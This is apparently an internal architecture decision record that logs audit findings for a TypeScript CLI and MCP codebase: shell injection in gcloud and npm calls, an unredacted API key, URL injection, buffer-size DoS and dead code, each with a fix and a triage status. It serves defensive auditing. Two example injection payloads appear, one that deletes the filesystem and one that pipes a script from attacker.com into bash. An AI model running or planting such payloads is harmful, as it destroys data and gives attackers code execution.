v3/implementation/adrs/ADR-061-deep-audit-findings-2026-03.md
Date: 2026-03-05 Status: Accepted — Triage Complete Context: Comprehensive 6-agent parallel audit of CLI, MCP, memory, plugins, transfer, Docker, and test infrastructure. Audit Scope: 169 source files, ~99K lines, 27 MCP tool modules, 38 commands, 35+ plugin/transfer/production files.
Document all actionable findings from the deep system audit. File size (>500 lines) is not a concern — focus on bugs, security issues, dead code, and correctness problems that affect users or developers.
src/transfer/storage/gcs.ts:126-128, 134-135, 187-189, 218-219, 243-244, 270-271execSync(). config.bucket, objectPath, and options.contentType are interpolated without sanitization at 6 locations.config.bucket = '"; rm -rf / #' → arbitrary command execution.execSync(cmd) with execFileSync('gcloud', ['storage', 'cp', ...args]) (array form). Add bucket name validation (/^[a-z0-9][a-z0-9._-]+$/).src/production/error-handler.ts:198SENSITIVE_KEYS contains mixed-case entries (apiKey, api_key), but comparison runs against lowerKey (already lowercased). 'apikey'.includes('apiKey') → false. Fields like apiKey are not redacted in error logs.SENSITIVE_KEYS.some(sk => lowerKey.includes(sk.toLowerCase()))src/plugins/manager.ts:150-153, 280-283, 434-436execAsync() runs shell with unsanitized user-provided versionSpec interpolated into command string. Same pattern at install, uninstall, and upgrade.versionSpec = 'foo; curl attacker.com/shell.sh | bash'/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*(@[a-z0-9._-]+)?$/). Use execFileSync('npm', ['install', '--prefix', dir, spec]).src/transfer/ipfs/client.ts:133fetchFromIPFS(cid) constructs gateway URLs without calling isValidCID(cid) first. Malformed or injected CID strings are passed directly into HTTP requests.if (!isValidCID(cid)) return null; guard at top of fetchFromIPFS, fetchFromIPFSWithMetadata, isPinned, checkAvailability.src/mcp-server.ts:349-371buffer += chunk.toString() but has no size limit. Malicious client can send arbitrarily large payloads → OOM.MAX_BUFFER_SIZE = 10 * 1024 * 1024 (10MB) check before processing. Reject oversized messages with JSON-RPC error.src/commands/index.tscommandLoaders map, loadCommand(), and loadedCommands cache implement lazy loading, but lines 111–145 synchronously import and pre-populate all 34+ commands at module level. The lazy infrastructure never executes.commandLoaders/loadCommand/loadedCommands code, or (b) convert lines 111–145 to actually use commandLoaders with getCommandAsync().src/plugins/manager.ts:506-517getPluginManager(baseDir) creates singleton on first call. Subsequent calls with a different baseDir silently return the wrong instance.baseDir differs, accept a key parameter, or document singleton constraint.src/transfer/serialization/cfp.ts:146deserializeCFP() calls JSON.parse(str) without try/catch. Corrupt .cfp files throw generic "Unexpected token" instead of descriptive "Invalid CFP file" error.throw new Error('Invalid CFP file: ' + e.message).src/transfer/ipfs/upload.ts:271await new Promise(resolve => setTimeout(resolve, 500)) adds artificial delay in demo mode.src/transfer/serialization/cfp.ts:125-138serializeToBuffer accepts cbor, cbor.gz, cbor.zstd, msgpack but all fall back to JSON with console.warn. The SerializationFormat type advertises unsupported formats.SerializationFormat to 'json' only.src/transfer/anonymization/index.ts:17-26PII_PATTERNS uses regex with g flag. Currently safe because replace() resets lastIndex, but any future use of regex.test() or regex.exec() in a loop would fail intermittently.g flag or document constraint.src/transfer/ipfs/client.ts, src/transfer/ipfs/upload.ts, src/plugins/manager.tsconsole.log/warn/error calls instead of injectable logger. Makes testing noisy, prevents output control.src/transfer/storage/gcs.tsgcloud storage commands with repeated projectArg construction.buildGcloudCmd(action, args, project?) helper.src/commands/ctx.flags values used in file paths, port numbers, and topology types without validation.src/mcp-tools/config-tools.ts:348__proto__, constructor, prototype keys before Object.assign.src/mcp-tools/memory-tools.ts| Control | File | Mechanism |
|---|---|---|
| Path traversal prevention | session-tools.ts:39 | sessionId.replace(/[^a-zA-Z0-9_-]/g, '_') |
| Path validation | daemon.ts:158-180 | validatePath() blocks null bytes, shell metacharacters, traversal |
| Argument-array spawn | daemon.ts:234 | spawn(execPath, [args]) not shell string |
| Git ref validation | diff-classifier.ts:367-382 | Whitelist regex + 256-char limit |
| Argument-array git | diff-classifier.ts:403 | execFileSync('git', [...args]) |
| Language whitelist | enhanced-model-router.ts:570 | SAFE_LANGUAGES array, not blacklist |
| Doctor commands | doctor.ts | String literals only, no user input |
| Terminal tools | terminal-tools.ts:148 | State tracking only, no exec |
| Preinstall script | bin/preinstall.cjs | No-op (comment only) |
| No hardcoded secrets | all src/*.ts | Zero matches across 99K lines |
| ID | Priority | Category | File | Status |
|---|---|---|---|---|
| S-1 | P0 | RCE | storage/gcs.ts | Fixed |
| S-2 | P0 | Secret Leak | error-handler.ts | Fixed |
| S-3 | P0 | Shell Injection | plugins/manager.ts | Fixed |
| S-4 | P0 | URL Injection | ipfs/client.ts | Fixed |
| S-5 | P0 | DoS | mcp-server.ts | Fixed |
| C-1 | P1 | Dead Code | commands/index.ts | Fixed |
| C-2 | P1 | Correctness | plugins/manager.ts | Fixed |
| C-3 | P1 | Error Handling | serialization/cfp.ts | Fixed |
| C-4 | P1 | Performance | ipfs/upload.ts | Fixed |
| C-5 | P1 | Dead Code | serialization/cfp.ts | Fixed |
| D-1 | P2 | Prototype Pollution | config-tools.ts | Fixed |
| D-2 | P2 | Input Validation | memory-tools.ts | Fixed |
| Q-1 | P2 | Latent Bug | anonymization/index.ts | Open |
| Q-2 | P2 | Code Quality | ipfs/, plugins/ | Open |
| Q-3 | P2 | Duplication | storage/gcs.ts | Open |
| Q-4 | P2 | Validation | commands/ | Open |
Total: 5 P0 (security), 5 P1 (correctness), 6 P2 (quality)
| Agent | Test File | Tests |
|---|---|---|
| CLI Commands + Init | commands-deep.test.ts | 399 |
| MCP Tools + Server | mcp-tools-deep.test.ts | 105 |
| Plugins + Transfer | plugins-transfer-deep.test.ts | 204 |
| Docker + Integration | integration-docker.test.ts | 95 |
| Existing Fixes + Coverage | cli.test.ts (fixed), parser.test.ts, output.test.ts, suggest.test.ts, config-adapter-deep.test.ts | 182 |
| Memory + RuVector | memory-ruvector-deep.test.ts | 145 |
| Security Audit | security-audit.test.ts | 25 |
| Existing (pre-audit) | 13 files | 441 |
| Total | 22 files | ~1,600 |